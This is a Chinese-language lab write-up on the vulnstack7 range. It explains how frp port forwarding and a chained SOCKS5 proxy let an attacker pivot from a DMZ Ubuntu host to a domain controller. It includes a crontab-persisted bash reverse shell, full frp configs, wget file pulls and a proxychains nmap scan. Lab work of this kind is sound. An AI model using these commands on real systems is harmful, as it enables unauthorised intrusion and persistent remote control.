本文使用 vulnstack7 靶场作为测试环境,解释 frp 内网渗透特殊使用姿势,通过此案例来提高内网渗透能力。
-
接下来的演示环境只做了以下修改。
-
攻击者 vps 的 ip 修改为:192.168.72.162。
-
DMZ 区域的 ubuntu 的 ip1 修改为:192.168.72.129。
-
先引入问题,当我们控制了 DMZ 的 ubuntu 并且拿到第二层网络的 ubuntu 的 rce 后,会出现以下两个问题。
-
如何搭建隧道让 ubuntu 反弹 shell 给攻击者 vps?
-
如何搭建隧道让攻击者 vps 将 ubuntu 作为内网代理访问域控?
这就是这篇文章要讨论的内容。
端口转发
为了方便讨论,我们将 DMZ 区域的 ubuntu 称为 ubuntu1,第二层网络的 ubuntu 称为 ubuntu2。
我们先来解决其中一个问题,如何让第二层网络的 ubuntu2 反弹 shell 给攻击者 vps。我们先开启攻击者 vps 本地 4444 端口接收反弹 shell,假设我们现在使用 ubuntu2 的 root 权限在计划任务中写入反弹 shell,并标注反弹 shell 的 ip 为攻击者 vps 192.168.72.162,这肯定会失败,因为 ubuntu2 不出网,他找不到 ip 为 192.168.72.162 的主机。所以我们进行端口转发让 ubuntu2 能够定位到处于其他网段的 攻击者 vps。
在 ubuntu1 上配置端口转发
我们的思路是,ubuntu1 上开启 4444 端口,然后经由此端口的流量都会转发到攻击者 vps 的 4444 端口上,此刻,攻击者 vps 使用 nc 监听本地 4444 端口,且让 ubuntu2 反弹 shell 到 ubuntu1 的 4444 端口,流量自动转发到 vps 的 4444 端口上。
攻击者 vps 端口 4444 <-------------> 端口4444 ubuntu1 端口4444<------------->ubuntu2
# 首先在 ubuntu2 上将反弹 shell 写入 /etc/crontab echo "* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.52.10/4444 0>&1'" >> /etc/crontab
# 在 ubuntu1 上运行 frps。 frps.ini 配置文件如下: [common] bind_addr = 0.0.0.0 bind_port = 7100 dashboard_addr = 0.0.0.0 dashboard_port = 7101 dashboard_user = root dashboard_pwd = 123456 token = 00253c8fcf9ae01 # 此程序将开启 ubuntu1 的 7100 端口作为 frp 服务端。
# 在 ubuntu1 上运行 frps。 frpc.ini 配置文件如下: [common] server_addr = 192.168.72.129 server_port = 7100 token = 00253c8fcf9ae01 pool_count = 5 health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 6100 plugin = socks5 use_encryption = true use_compression = true plugin_user = admin plugin_passwd = 123456 [rever_shell] type = tcp local_ip = 127.0.0.1 local_port = 4444 remote_port = 4444 # 本地端口 4444 转发到远程端口 4444 [HTTP] type = tcp local_ip = 127.0.0.1 local_port = 8000 # 本地端口 8000 转发到远程端口 8000 remote_port = 8000 此脚本运行后会向 frps 7100 端口进行连接,然后指定 frps 开启本地(192.168.52.10) 6100 端口进行正向代理, 开启本地(192.168.52.10) 4444 向攻击者 vps (192.168.72.162) 4444 的端口转发。 开启本地(192.168.52.10) 8000 向攻击者 vps (192.168.72.162) 8000 的端口转发。 # 配置好后,攻击者 vps 开机端口监听 nc -lvp 4444
等待一会,发现反弹 shell 成功(左上图),且 frpc(左下图) 和 frps(右下图) 都有端口转发的记录。注:左下图哪个红色的报错是因为,我当时没有开启攻击者的 4444 的监听,所以给拒绝了。
端口转发拉取文件
还有一个小技巧,我们同时搭建了 8000 的端口转发,那么我们在 vps 上开启一个 8000 端口 web 服务,然后 ubuntu2 上执行 wget 命令可以拉取 vps 上的文件。(左:192.168.72.162,右:192.168.52.20)
二级代理
搭建好端口转发后,我们接下来就是搭建入网隧道访问域控了。通过以上端口转发拉取文件后,在 ubuntu2 搭建一个正向代理 frp。
# 注:之前搭建的端口转发出网隧道,一定不要关闭,我们需要使用类似于反弹 shell 的机制,让 frpc 通过端口转发回连 frps,详细内容如下: 攻击者 vps 占用端口 8000 的 frps <-------------> 端口8000 ubuntu1 端口8000<------------->ubuntu2 上的 frpc # 在 vps (192.168.72.162)上新开一个 frps(注:不是 frpc),然后在 ubuntu2 上拉取 frpc,让 frpc 回连 frps 后即可搭建成功。
入网二级代理搭建
# 在 vps 上运行 frps。 frps 配置文件如下: [common] bind_addr = 0.0.0.0 bind_port = 8000 # frps 监听 vps 的 8000 端口。 dashboard_addr = 0.0.0.0 dashboard_port = 7102 dashboard_user = root dashboard_pwd = 123456 token = 00253c8fcf9ae01 # 在 ubuntu2 上运行 frpc。 [common] server_addr = 192.168.52.10 server_port = 8000 # 让 frpc 回连 192.168.52.10 的 8000 端口,自动转发到 vps 的 8000 端口。 token = 00253c8fcf9ae01 pool_count = 5 health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 6200 # 攻击者通过本地 6200 端口访问深网域控 plugin = socks5 use_encryption = true use_compression = true plugin_user = admin plugin_passwd = 123456 # 运行完 frpc 后,frpc 回连 frps,frps 上开启 6200 端口作为访问 frpc 代理的端口。
由此我们通过端口转发 + 二级代理搭建了访问深网的隧道
访问域控
配置 proxychains
# 指定 vps 本地 6200 端口为内网代理。 vim /etc/proxychains4.conf socks5 127.0.0.1 6200 admin 123456
nmap 扫描域控
proxychains nmap -sT -Pn -n --open -p445,135,80,5985,5986,8000 192.168.93.30
流量过程
攻击者 vps 占用端口 6200 的 frps <-------------> 端口8000 ubuntu1 端口8000 <-------------> ubuntu2 上的 frpc <-------------> 域控。
其他使用姿势
我们之前介绍了两种端口转发使用姿势:
-
反弹 shell 到 vps。
-
拉取 vps 上的文件。
其实还有其他使用姿势和技巧:
-
ntlm relay 回连至攻击者机器(使用 printer bug)。